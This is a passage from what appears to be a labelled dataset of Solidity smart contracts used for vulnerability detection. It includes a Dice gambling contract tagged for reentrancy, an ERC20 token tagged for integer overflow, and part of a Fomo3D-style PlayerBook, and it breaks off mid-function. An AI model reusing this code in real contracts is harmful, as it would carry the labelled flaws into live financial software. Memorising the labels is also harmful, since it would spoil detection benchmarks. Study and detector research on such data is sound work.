bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } } // contract Dice is usingOraclize { uint constant pwin = 2500; //probability of winning (10000 = 100%) uint constant edge = 190; //edge percentage (10000 = 100%) uint constant maxWin = 100; //max win (before edge is taken) as percentage of bankroll (10000 = 100%) uint constant minBet = 200 finney; uint constant maxInvestors = 10; //maximum number of investors uint constant houseEdge = 25; //edge percentage (10000 = 100%) uint constant divestFee = 50; //divest fee percentage (10000 = 100%) uint constant emergencyWithdrawalRatio = 10; //ratio percentage (100 = 100%) uint safeGas = 2300; uint constant ORACLIZE_GAS_LIMIT = 175000; uint constant INVALID_BET_MARKER = 99999; uint constant EMERGENCY_TIMEOUT = 3 days; struct Investor { address investorAddress; uint amountInvested; bool votedForEmergencyWithdrawal; } struct Bet { address playerAddress; uint amountBet; uint numberRolled; } struct WithdrawalProposal { address toAddress; uint atTime; } //Starting at 1 mapping(address => uint) public investorIDs; mapping(uint => Investor) public investors; uint public numInvestors = 0; uint public invested = 0; address public owner; address public houseAddress; bool public isStopped; WithdrawalProposal public proposedWithdrawal; mapping (bytes32 => Bet) public bets; bytes32[] public betsKeys; uint public investorsProfit = 0; uint public investorsLosses = 0; bool profitDistributed; event LOG_NewBet(address playerAddress, uint amount); event LOG_BetWon(address playerAddress, uint numberRolled, uint amountWon); event LOG_BetLost(address playerAddress, uint numberRolled); event LOG_EmergencyWithdrawalProposed(); event LOG_EmergencyWithdrawalFailed(address withdrawalAddress); event LOG_EmergencyWithdrawalSucceeded(address withdrawalAddress, uint amountWithdrawn); event LOG_FailedSend(address receiver, uint amount); event LOG_ZeroSend(); event LOG_InvestorEntrance(address investor, uint amount); event LOG_InvestorCapitalUpdate(address investor, int amount); event LOG_InvestorExit(address investor, uint amount); event LOG_ContractStopped(); event LOG_ContractResumed(); event LOG_OwnerAddressChanged(address oldAddr, address newOwnerAddress); event LOG_HouseAddressChanged(address oldAddr, address newHouseAddress); event LOG_GasLimitChanged(uint oldGasLimit, uint newGasLimit); event LOG_EmergencyAutoStop(); event LOG_EmergencyWithdrawalVote(address investor, bool vote); event LOG_ValueIsTooBig(); event LOG_SuccessfulSend(address addr, uint amount); function Dice() { oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); owner = msg.sender; houseAddress = msg.sender; } //SECTION I: MODIFIERS AND HELPER FUNCTIONS //MODIFIERS modifier onlyIfNotStopped { if (isStopped) throw; _; } modifier onlyIfStopped { if (!isStopped) throw; _; } modifier onlyInvestors { if (investorIDs[msg.sender] == 0) throw; _; } modifier onlyNotInvestors { if (investorIDs[msg.sender] != 0) throw; _; } modifier onlyOwner { if (owner != msg.sender) throw; _; } modifier onlyOraclize { if (msg.sender != oraclize_cbAddress()) throw; _; } modifier onlyMoreThanMinInvestment { if (msg.value <= getMinInvestment()) throw; _; } modifier onlyMoreThanZero { if (msg.value == 0) throw; _; } modifier onlyIfBetExist(bytes32 myid) { if(bets[myid].playerAddress == address(0x0)) throw; _; } modifier onlyIfBetSizeIsStillCorrect(bytes32 myid) { if ((((bets[myid].amountBet * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000) && (bets[myid].amountBet >= minBet)) { _; } else { bets[myid].numberRolled = INVALID_BET_MARKER; safeSend(bets[myid].playerAddress, bets[myid].amountBet); return; } } modifier onlyIfValidRoll(bytes32 myid, string result) { uint numberRolled = parseInt(result); if ((numberRolled < 1 || numberRolled > 10000) && bets[myid].numberRolled == 0) { bets[myid].numberRolled = INVALID_BET_MARKER; safeSend(bets[myid].playerAddress, bets[myid].amountBet); return; } _; } modifier onlyWinningBets(uint numberRolled) { if (numberRolled - 1 < pwin) { _; } } modifier onlyLosingBets(uint numberRolled) { if (numberRolled - 1 >= pwin) { _; } } modifier onlyAfterProposed { if (proposedWithdrawal.toAddress == 0) throw; _; } modifier onlyIfProfitNotDistributed { if (!profitDistributed) { _; } } modifier onlyIfValidGas(uint newGasLimit) { if (ORACLIZE_GAS_LIMIT + newGasLimit < ORACLIZE_GAS_LIMIT) throw; if (newGasLimit < 25000) throw; _; } modifier onlyIfNotProcessed(bytes32 myid) { if (bets[myid].numberRolled > 0) throw; _; } modifier onlyIfEmergencyTimeOutHasPassed { if (proposedWithdrawal.atTime + EMERGENCY_TIMEOUT > now) throw; _; } modifier investorsInvariant { _; if (numInvestors > maxInvestors) throw; } //CONSTANT HELPER FUNCTIONS function getBankroll() constant returns(uint) { if ((invested < investorsProfit) || (invested + investorsProfit < invested) || (invested + investorsProfit < investorsLosses)) { return 0; } else { return invested + investorsProfit - investorsLosses; } } function getMinInvestment() constant returns(uint) { if (numInvestors == maxInvestors) { uint investorID = searchSmallestInvestor(); return getBalance(investors[investorID].investorAddress); } else { return 0; } } function getStatus() constant returns(uint, uint, uint, uint, uint, uint, uint, uint) { uint bankroll = getBankroll(); uint minInvestment = getMinInvestment(); return (bankroll, pwin, edge, maxWin, minBet, (investorsProfit - investorsLosses), minInvestment, betsKeys.length); } function getBet(uint id) constant returns(address, uint, uint) { if (id < betsKeys.length) { bytes32 betKey = betsKeys[id]; return (bets[betKey].playerAddress, bets[betKey].amountBet, bets[betKey].numberRolled); } } function numBets() constant returns(uint) { return betsKeys.length; } function getMinBetAmount() constant returns(uint) { uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", ORACLIZE_GAS_LIMIT + safeGas); return oraclizeFee + minBet; } function getMaxBetAmount() constant returns(uint) { uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", ORACLIZE_GAS_LIMIT + safeGas); uint betValue = (maxWin * getBankroll()) * pwin / (10000 * (10000 - edge - pwin)); return betValue + oraclizeFee; } function getLossesShare(address currentInvestor) constant returns (uint) { return investors[investorIDs[currentInvestor]].amountInvested * (investorsLosses) / invested; } function getProfitShare(address currentInvestor) constant returns (uint) { return investors[investorIDs[currentInvestor]].amountInvested * (investorsProfit) / invested; } function getBalance(address currentInvestor) constant returns (uint) { uint invested = investors[investorIDs[currentInvestor]].amountInvested; uint profit = getProfitShare(currentInvestor); uint losses = getLossesShare(currentInvestor); if ((invested + profit < profit) || (invested + profit < invested) || (invested + profit < losses)) return 0; else return invested + profit - losses; } function searchSmallestInvestor() constant returns(uint) { uint investorID = 1; for (uint i = 1; i <= numInvestors; i++) { if (getBalance(investors[i].investorAddress) < getBalance(investors[investorID].investorAddress)) { investorID = i; } } return investorID; } function changeOraclizeProofType(byte _proofType) onlyOwner { if (_proofType == 0x00) throw; oraclize_setProof( _proofType | proofStorage_IPFS ); } function changeOraclizeConfig(bytes32 _config) onlyOwner { oraclize_setConfig(_config); } // PRIVATE HELPERS FUNCTION function safeSend(address addr, uint value) private { if (value == 0) { LOG_ZeroSend(); return; } if (this.balance < value) { LOG_ValueIsTooBig(); return; } if (!(addr.call.gas(safeGas).value(value)())) { LOG_FailedSend(addr, value); if (addr != houseAddress) { //Forward to house address all change if (!(houseAddress.call.gas(safeGas).value(value)())) LOG_FailedSend(houseAddress, value); } } LOG_SuccessfulSend(addr,value); } function addInvestorAtID(uint id) private { investorIDs[msg.sender] = id; investors[id].investorAddress = msg.sender; investors[id].amountInvested = msg.value; invested += msg.value; LOG_InvestorEntrance(msg.sender, msg.value); } function profitDistribution() private onlyIfProfitNotDistributed { uint copyInvested; for (uint i = 1; i <= numInvestors; i++) { address currentInvestor = investors[i].investorAddress; uint profitOfInvestor = getProfitShare(currentInvestor); uint lossesOfInvestor = getLossesShare(currentInvestor); //Check for overflow and underflow if ((investors[i].amountInvested + profitOfInvestor >= investors[i].amountInvested) && (investors[i].amountInvested + profitOfInvestor >= lossesOfInvestor)) { investors[i].amountInvested += profitOfInvestor - lossesOfInvestor; LOG_InvestorCapitalUpdate(currentInvestor, (int) (profitOfInvestor - lossesOfInvestor)); } else { isStopped = true; LOG_EmergencyAutoStop(); } if (copyInvested + investors[i].amountInvested >= copyInvested) copyInvested += investors[i].amountInvested; } delete investorsProfit; delete investorsLosses; invested = copyInvested; profitDistributed = true; } // SECTION II: BET & BET PROCESSING function() payable { bet(); } function bet() payable onlyIfNotStopped { uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice(""URL"", ORACLIZE_GAS_LIMIT + safeGas); if (oraclizeFee >= msg.value) throw; uint betValue = msg.value - oraclizeFee; if ((((betValue * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000) && (betValue >= minBet)) { LOG_NewBet(msg.sender, betValue); bytes32 myid = oraclize_query( ""nested"", ""[URL] ['json(https://api.random.org/json-rpc/1/invoke).result.random.data.0', '\\n{\""jsonrpc\"":\""2.0\"",\""method\"":\""generateSignedIntegers\"",\""params\"":{\""apiKey\"":${[decrypt] BL4JaqkoeRJTvj5fAd3ljo0qabFhF7QhiuJgdFX3LsY/5hDYekFx8KYLBOt6cLAHBzw1nU5Km6GboALOxtVKigiY/Td/oCihav3g/H8Jc8JEEgJ8kAHvz9fvlUjFjxjyiOa5naHSkMV9UIA6bI52cNuxDlcWInY=},\""n\"":1,\""min\"":1,\""max\"":10000${[identity] \""}\""},\""id\"":1${[identity] \""}\""}']"", ORACLIZE_GAS_LIMIT + safeGas ); bets[myid] = Bet(msg.sender, betValue, 0); betsKeys.push(myid); } else { throw; } } function __callback(bytes32 myid, string result, bytes proof) onlyOraclize onlyIfBetExist(myid) onlyIfNotProcessed(myid) onlyIfValidRoll(myid, result) onlyIfBetSizeIsStillCorrect(myid) { uint numberRolled = parseInt(result); bets[myid].numberRolled = numberRolled; isWinningBet(bets[myid], numberRolled); isLosingBet(bets[myid], numberRolled); delete profitDistributed; } function isWinningBet(Bet thisBet, uint numberRolled) private onlyWinningBets(numberRolled) { uint winAmount = (thisBet.amountBet * (10000 - edge)) / pwin; LOG_BetWon(thisBet.playerAddress, numberRolled, winAmount); safeSend(thisBet.playerAddress, winAmount); //Check for overflow and underflow if ((investorsLosses + winAmount < investorsLosses) || (investorsLosses + winAmount < thisBet.amountBet)) { throw; } investorsLosses += winAmount - thisBet.amountBet; } function isLosingBet(Bet thisBet, uint numberRolled) private onlyLosingBets(numberRolled) { LOG_BetLost(thisBet.playerAddress, numberRolled); safeSend(thisBet.playerAddress, 1); //Check for overflow and underflow if ((investorsProfit + thisBet.amountBet < investorsProfit) || (investorsProfit + thisBet.amountBet < thisBet.amountBet) || (thisBet.amountBet == 1)) { throw; } uint totalProfit = investorsProfit + (thisBet.amountBet - 1); //added based on audit feedback investorsProfit += (thisBet.amountBet - 1)*(10000 - houseEdge)/10000; uint houseProfit = totalProfit - investorsProfit; //changed based on audit feedback safeSend(houseAddress, houseProfit); } //SECTION III: INVEST & DIVEST function increaseInvestment() payable onlyIfNotStopped onlyMoreThanZero onlyInvestors { profitDistribution(); investors[investorIDs[msg.sender]].amountInvested += msg.value; invested += msg.value; } function newInvestor() payable onlyIfNotStopped onlyMoreThanZero onlyNotInvestors onlyMoreThanMinInvestment investorsInvariant { profitDistribution(); if (numInvestors == maxInvestors) { uint smallestInvestorID = searchSmallestInvestor(); divest(investors[smallestInvestorID].investorAddress); } numInvestors++; addInvestorAtID(numInvestors); } function divest() onlyInvestors { divest(msg.sender); } function divest(address currentInvestor) private investorsInvariant { profitDistribution(); uint currentID = investorIDs[currentInvestor]; uint amountToReturn = getBalance(currentInvestor); if ((invested >= investors[currentID].amountInvested)) { invested -= investors[currentID].amountInvested; uint divestFeeAmount = (amountToReturn*divestFee)/10000; amountToReturn -= divestFeeAmount; delete investors[currentID]; delete investorIDs[currentInvestor]; //Reorder investors if (currentID != numInvestors) { // Get last investor Investor lastInvestor = investors[numInvestors]; //Set last investor ID to investorID of divesting account investorIDs[lastInvestor.investorAddress] = currentID; //Copy investor at the new position in the mapping investors[currentID] = lastInvestor; //Delete old position in the mappping delete investors[numInvestors]; } numInvestors--; safeSend(currentInvestor, amountToReturn); safeSend(houseAddress, divestFeeAmount); LOG_InvestorExit(currentInvestor, amountToReturn); } else { isStopped = true; LOG_EmergencyAutoStop(); } } function forceDivestOfAllInvestors() onlyOwner { uint copyNumInvestors = numInvestors; for (uint i = 1; i <= copyNumInvestors; i++) { divest(investors[1].investorAddress); } } /* The owner can use this function to force the exit of an investor from the contract during an emergency withdrawal in the following situations: - Unresponsive investor - Investor demanding to be paid in other to vote, the facto-blackmailing other investors */ function forceDivestOfOneInvestor(address currentInvestor) onlyOwner onlyIfStopped { divest(currentInvestor); //Resets emergency withdrawal proposal. Investors must vote again delete proposedWithdrawal; } //SECTION IV: CONTRACT MANAGEMENT function stopContract() onlyOwner { isStopped = true; LOG_ContractStopped(); } function resumeContract() onlyOwner { isStopped = false; LOG_ContractResumed(); } function changeHouseAddress(address newHouse) onlyOwner { if (newHouse == address(0x0)) throw; //changed based on audit feedback houseAddress = newHouse; LOG_HouseAddressChanged(houseAddress, newHouse); } function changeOwnerAddress(address newOwner) onlyOwner { if (newOwner == address(0x0)) throw; owner = newOwner; LOG_OwnerAddressChanged(owner, newOwner); } function changeGasLimitOfSafeSend(uint newGasLimit) onlyOwner onlyIfValidGas(newGasLimit) { safeGas = newGasLimit; LOG_GasLimitChanged(safeGas, newGasLimit); } //SECTION V: EMERGENCY WITHDRAWAL function voteEmergencyWithdrawal(bool vote) onlyInvestors onlyAfterProposed onlyIfStopped { investors[investorIDs[msg.sender]].votedForEmergencyWithdrawal = vote; LOG_EmergencyWithdrawalVote(msg.sender, vote); } function proposeEmergencyWithdrawal(address withdrawalAddress) onlyIfStopped onlyOwner { //Resets previous votes for (uint i = 1; i <= numInvestors; i++) { delete investors[i].votedForEmergencyWithdrawal; } proposedWithdrawal = WithdrawalProposal(withdrawalAddress, now); LOG_EmergencyWithdrawalProposed(); } function executeEmergencyWithdrawal() onlyOwner onlyAfterProposed onlyIfStopped onlyIfEmergencyTimeOutHasPassed { uint numOfVotesInFavour; uint amountToWithdraw = this.balance; for (uint i = 1; i <= numInvestors; i++) { if (investors[i].votedForEmergencyWithdrawal == true) { numOfVotesInFavour++; delete investors[i].votedForEmergencyWithdrawal; } } if (numOfVotesInFavour >= emergencyWithdrawalRatio * numInvestors / 100) { if (!proposedWithdrawal.toAddress.send(amountToWithdraw)) { LOG_EmergencyWithdrawalFailed(proposedWithdrawal.toAddress); } else { LOG_EmergencyWithdrawalSucceeded(proposedWithdrawal.toAddress, amountToWithdraw); } } else { throw; } } }",./Dataset/reentrancy (RE)/,5,5 1884.sol,"pragma solidity ^0.4.24; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract SPEX is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function SPEX() public { symbol = ""SPEX""; name = ""ShareProfitEx""; decimals = 18; _totalSupply = 200000000 * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",./Dataset/integer overflow (OF)/,4,4 416.sol,"pragma solidity ^0.4.24; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ interface PlayerBookReceiverInterface { function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external; function receivePlayerNameList(uint256 _pID, bytes32 _name) external; } contract PlayerBook { using NameFilter for string; using SafeMath for uint256; address private admin = msg.sender; //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . //=============================|================================================ uint256 public registrationFee_ = 10 finney; // price to register a name mapping(uint256 => PlayerBookReceiverInterface) public games_; // mapping of our game interfaces for sending your account info to games mapping(address => bytes32) public gameNames_; // lookup a games name mapping(address => uint256) public gameIDs_; // lokup a games ID uint256 public gID_; // total number of games uint256 public pID_; // total number of players mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amoungst any name you own) mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; // (pID => nameNum => name) list of names a player owns struct Player { address addr; bytes32 name; uint256 laff; uint256 names; } //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // premine the dev names (sorry not sorry) // No keys are purchased with this method, it's simply locking our addresses, // PID's and names for referral codes. plyr_[1].addr = 0xA193C74F8085e61aeF64d030655ae8294Df9d145; plyr_[1].name = ""justo""; plyr_[1].names = 1; pIDxAddr_[0xA193C74F8085e61aeF64d030655ae8294Df9d145] = 1; pIDxName_[""justo""] = 1; plyrNames_[1][""justo""] = true; plyrNameList_[1][1] = ""justo""; plyr_[2].addr = 0xA193C74F8085e61aeF64d030655ae8294Df9d145; plyr_[2].name = ""mantso""; plyr_[2].names = 1; pIDxAddr_[0xA193C74F8085e61aeF64d030655ae8294Df9d145] = 2; pIDxName_[""mantso""] = 2; plyrNames_[2][""mantso""] = true; plyrNameList_[2][1] = ""mantso""; plyr_[3].addr = 0xA193C74F8085e61aeF64d030655ae8294Df9d145; plyr_[3].name = ""sumpunk""; plyr_[3].names = 1; pIDxAddr_[0xA193C74F8085e61aeF64d030655ae8294Df9d145] = 3; pIDxName_[""sumpunk""] = 3; plyrNames_[3][""sumpunk""] = true; plyrNameList_[3][1] = ""sumpunk""; plyr_[4].addr = 0xA193C74F8085e61aeF64d030655ae8294Df9d145; plyr_[4].name = ""inventor""; plyr_[4].names = 1; pIDxAddr_[0xA193C74F8085e61aeF64d030655ae8294Df9d145] = 4; pIDxName_[""inventor""] = 4; plyrNames_[4][""inventor""] = true; plyrNameList_[4][1] = ""inventor""; pID_ = 4; } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isRegisteredGame() { require(gameIDs_[msg.sender] != 0); _; } //============================================================================== // _ _ _ _|_ _ . // (/_\/(/_| | | _\ . //============================================================================== // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= function checkIfNameValid(string _nameStr) public view returns(bool) { bytes32 _name = _nameStr.nameFilter(); if (pIDxName_[_name] == 0) return (true); else return (false); } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev registers a name. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who refered you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given, no new affiliate code was given, or the // player tried to use their own pID as an affiliate code, lolz if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) { // update last affiliate plyr_[_pID].laff = _affCode; } else if (_affCode == _pID) { _affCode = 0; } // register name registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != """" && _affCode != _name) { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } /** * @dev players, if you registered a profile, before a game was released, or * set the all bool to false when you registered, use this function to push * your profile to a single game. also, if you've updated your name, you * can use this to push your name to games of your choosing. * -functionhash- 0x81c5b206 * @param _gameID game id */ function addMeToGame(uint256 _gameID) isHuman() public { require(_gameID <= gID_, ""silly player, that game doesn't exist yet""); address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, ""hey there buddy, you dont even have an account""); uint256 _totalNames = plyr_[_pID].names; // add players profile and most recent name games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff); // add list of all names if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } /** * @dev players, use this to push your player profile to all registered games. * -functionhash- 0x0c6940ea */ function addMeToAllGames() isHuman() public { address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, ""hey there buddy, you dont even have an account""); uint256 _laff = plyr_[_pID].laff; uint256 _totalNames = plyr_[_pID].names; bytes32 _name = plyr_[_pID].name; for (uint256 i = 1; i <= gID_; i++) { games_[i].receivePlayerInfo(_pID, _addr, _name, _laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } } /** * @dev players use this to change back to one of your old names. tip, you'll * still need to push that info to existing games. * -functionhash- 0xb9291296 * @param _nameString the name you want to use */ function useMyOldName(string _nameString) isHuman() public { // filter name, and get pID bytes32 _name = _nameString.nameFilter(); uint256 _pID = pIDxAddr_[msg.sender]; // make sure they own the name require(plyrNames_[_pID][_name] == true, ""umm... thats not a name you own""); // update their current name plyr_[_pID].name = _name; } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . //=====================_|======================================================= function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all) private { // if names already has been used, require that current msg sender owns the name if (pIDxName_[_name] != 0) require(plyrNames_[_pID][_name] == true, ""sorry that names already taken""); // add name to player profile, registry, and name book plyr_[_pID].name = _name; pIDxName_[_name] = _pID; if (plyrNames_[_pID][_name] == false) { plyrNames_[_pID][_name] = true; plyr_[_pID].names++; plyrNameList_[_pID][plyr_[_pID].names] = _name; } // registration fee goes directly to community rewards admin.transfer(address(this).balance); // push player info to games if (_all == true) for (uint256 i = 1; i <= gID_; i++) games_[i].receivePlayerInfo(_pID, _addr, _name, _affID); // fire event emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== function determinePID(address _addr) private returns (bool) { if (pIDxAddr_[_addr] == 0) { pID_++; pIDxAddr_[_addr] = pID_; plyr_[pID_].addr = 